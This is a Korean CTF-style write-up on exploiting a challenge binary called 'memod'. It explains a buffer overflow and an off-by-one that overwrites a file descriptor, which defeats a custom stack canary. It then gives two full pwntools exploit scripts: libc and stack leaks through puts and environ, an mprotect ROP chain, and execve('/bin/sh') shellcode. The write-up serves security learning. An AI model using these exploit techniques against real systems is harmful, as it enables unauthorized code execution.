memod

0x00. Introduction

[*] '/home/user/memod'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

Goal

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  fd = open("/dev/urandom", 0);

  read(fd, &canary_backup, 4u);
  canary = canary_backup;

  if ( memcmp(&canary_backup, &canary, 4u) )
  {
    puts("***** ERROR! Stack Smash Attempt .. *****");
    exit(-1);
  }
  ...
}

์ „์—ญ๋ณ€์ˆ˜์ธ canary_backup์— 4๋ฐ”์ดํŠธ ๋žœ๋ค๊ฐ’์„ /dev/urandom์œผ๋กœ๋ถ€ํ„ฐ ์ฝ์–ด์˜ค๊ณ , ๊ทธ ๊ฐ’์„ ์ง€์—ญ๋ณ€์ˆ˜์ธ canary์— ์ €์žฅํ–ˆ๋‹ค๊ฐ€ ๋๋‚  ๋•Œ ๋น„๊ต๋ฅผ ํ•œ๋‹ค. ๋งŒ์•ฝ ๊ฐ’์ด ๋ฐ”๋€Œ์—ˆ๋‹ค๋ฉด ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ•์ œ์ข…๋ฃŒ์‹œํ‚ค๋ฏ€๋กœ, ์ด๋ฅผ ์ž˜ ์šฐํšŒํ•ด์•ผ ํ•œ๋‹ค.

0x01. Vulnerability

  char s[256]; // [esp+10h] [ebp-128h] BYREF
  fgets(s, 512, stdin);

์ฒซ ๋ฒˆ์งธ๋กœ ๋ˆˆ์— ๋ˆ ๊ฒƒ์€ ebp-0x128์— ์œ„์น˜ํ•œ s์— 512๋ฐ”์ดํŠธ ์ž…๋ ฅ์„ ๋ฐ›์•„ BOF ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค๋Š” ๊ฒƒ์ด์—ˆ๋‹ค. ๋‹ค๋งŒ ์•ž์—์„œ๋„ ์–ธ๊ธ‰ํ–ˆ๋“ฏ canary๋ฅผ ์ž˜ ์šฐํšŒํ•ด์•ผ ํ•œ๋‹ค.

  char file[32]; // [esp+110h] [ebp-28h] BYREF
  int fd; // [esp+130h] [ebp-8h]

  for ( i = 0; i <= 32; ++i )
  {
    s[0] = getchar();
    if ( s[0] - (unsigned int)'0' > 9 )
    {
      file[i] = 0;
      break;
    }
    file[i] = s[0];
  }

๋‹ค์Œ์œผ๋กœ ๋ˆˆ์— ๋ˆ ๊ฒƒ์ด for๋ฌธ์˜ ์กฐ๊ฑด๋ฌธ์ด๋‹ค. file ๋ฐฐ์—ด์ด 32๋ฐ”์ดํŠธ์ธ ๋ฐ˜๋ฉด ์กฐ๊ฑด๋ฌธ์ด i <= 32๋กœ ๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋งˆ์ง€๋ง‰ loop์—์„œ file[32]๊ฐ€ fd์˜ ๊ฐ€์žฅ ํ•˜์œ„ ๋ฐ”์ดํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋œ๋‹ค.

0x02. Exploit

์œ„ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ fd๋ฅผ overwriteํ•˜๊ฒŒ ๋˜๋ฉด ์ƒ๊ธฐ๋Š” ๋ฌธ์ œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  fd = open("/dev/urandom", 0);
  read(fd, &canary_backup, 4u);
  canary = canary_backup;

์• ์จ /dev/urandom์„ open()ํ•ด์„œ ์ €์žฅํ•œ fd๊ฐ€ ์—‰๋šฑํ•œ ๊ฐ’์œผ๋กœ ๋ฐ”๋€Œ๊ฒŒ ๋œ๋‹ค. fd๋ฅผ 0์œผ๋กœ ๋ฎ์–ด์„œ stdin์„ ๋งŒ๋“ค์–ด ๋‚ด๊ฐ€ ์ž…๋ ฅ์„ ์ค„ ์ˆ˜๋„ ์žˆ๊ณ , ์—‰๋šฑํ•œ fd๊ฐ€ ์žˆ์œผ๋ฉด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒ๋˜์ง€ ์•Š๊ณ , canary_backup์— ์•„๋ฌด๋Ÿฐ ๊ฐ’์ด ์จ์ง€์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์—‰๋šฑํ•œ ๊ฐ’์œผ๋กœ ๋ฎ์–ด๋„ ๋œ๋‹ค.

๋”ฐ๋ผ์„œ fd๋ฅผ ์—‰๋šฑํ•œ ๊ฐ’์œผ๋กœ ๋ฎ๊ณ  ์ง€์—ญ ๋ณ€์ˆ˜์ธ canary์— 0x00000000์„ ๋„ฃ์–ด์ฃผ๋ฉด memcmp()๋ฅผ ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ๋‹ค.

[*] '/home/user/memod'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

์ด์ œ exploit์„ ์œ„ํ•ด์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ดํŽด๋ณด๋‹ˆ NX๊ฐ€ ๊บผ์ ธ์žˆ์–ด์„œ ์‰˜์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์‰˜์„ ๋„์šฐ๋ ค๊ณ  ํ–ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์•„๋ฌด๋ฆฌ ์ฐพ์•„๋ด๋„ stack leak์ด ๋ ๋งŒํ•œ ๋ถ€๋ถ„์ด ์—†์—ˆ๋‹คโ€ฆ ๊ณ ๋ฏผํ•˜๋Š” ๊ณผ์ •์—์„œ libc์— ์žˆ๋Š” environ ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•œ stack leak ๊ธฐ๋ฒ•์„ ์ฐพ์•˜๋Š”๋ฐ, ํ•œ๋ฒˆ๋„ ์ด๋ ‡๊ฒŒ leak์„ ํ•ด๋ณธ ์ ์ด ์—†์–ด์„œ ์ด๋ฅผ ํ™œ์šฉํ•œ payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

๋ฌผ๋ก  ROP๋กœ๋„ ํ’€์ด๊ฐ€ ๊ฐ€๋Šฅํ•ด์„œ mprotect()๋ฅผ ์ด์šฉํ•œ ROP๋กœ๋„ payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

0x03. Payload

Payload Using environ

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"

bp = {
    'read_of_main' : 0x08048703,
    'fgets_of_main' : 0x804875a,
    'canary_backup' : 0x08049b2c,
    'end_of_main' : 0x080487ce,
}

gs = f'''
b *{bp['fgets_of_main']}
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # leak libc
    s.send(b"1" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"A" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"BBBB"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pop ret gadget)
    payload += p32(elf.got['write'])    # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    libc = u32(r[0:4]) - lib.symbols["write"]
    environ = libc + lib.symbols['environ']
    log.info(f"libc : {hex(libc)}")
    log.info(f"environ : {hex(environ)}")

    # leak stack
    s.send(b"2" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"C" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"DDDD"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pop ret gadget)
    payload += p32(environ)             # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    stack = u32(r[0:4])
    log.info(f"stack : {hex(stack)}")

    # execute shellcode
    s.send(b"3" * 33)
    s.recv(1024)

    payload = asm(shellcraft.execve("/bin/sh", 0, 0))   # shellcode
    payload += b"E" * (0x124 - len(payload))            # dummy
    payload += b"\x00\x00\x00\x00"                      # canary
    payload += b"FFFF"                                  # sfp
    payload += p32(stack - 0x1cc)                       # ret #1 (&shellcode)
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()

Payload Using mprotect

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"

bp = {
    'read_of_main' : 0x08048703,
    'fgets_of_main' : 0x804875a,
    'canary_backup' : 0x08049b2c,
    'end_of_main' : 0x080487ce,
    'mprotect' : 0xf7e9f020,
}

gs = f'''
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # leak libc
    s.send(b"1" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"A" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"BBBB"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pr gadget)
    payload += p32(elf.got['write'])    # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    libc = u32(r[0:4]) - lib.symbols["write"]
    mprotect = libc + lib.symbols['mprotect']
    read = libc + lib.symbols['read']
    log.info(f"libc : {hex(libc)}")
    log.info(f"mprotect : {hex(mprotect)}")
    log.info(f"read : {hex(read)}")

    # add permission using mprotect
    s.send(b"2" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"C" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"DDDD"                  # sfp
    payload += p32(mprotect)            # ret #1
    payload += p32(0x08048836)          # ret #2 (pppr gadget)
    payload += p32(bp['canary_backup'] & 0xfffff000) # argument #1
    payload += p32(0x1000)              # argument #2
    payload += p32(0x7)                 # argument #3
    payload += p32(read)                # ret #3
    payload += p32(bp['canary_backup']) # ret #4
    payload += p32(0)                   # argument #1
    payload += p32(bp['canary_backup']) # argument #2
    payload += p32(0x100)               # argument #3
    s.sendline(payload)

    # send shellcode
    payload = asm(shellcraft.execve("/bin/sh", 0, 0))
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()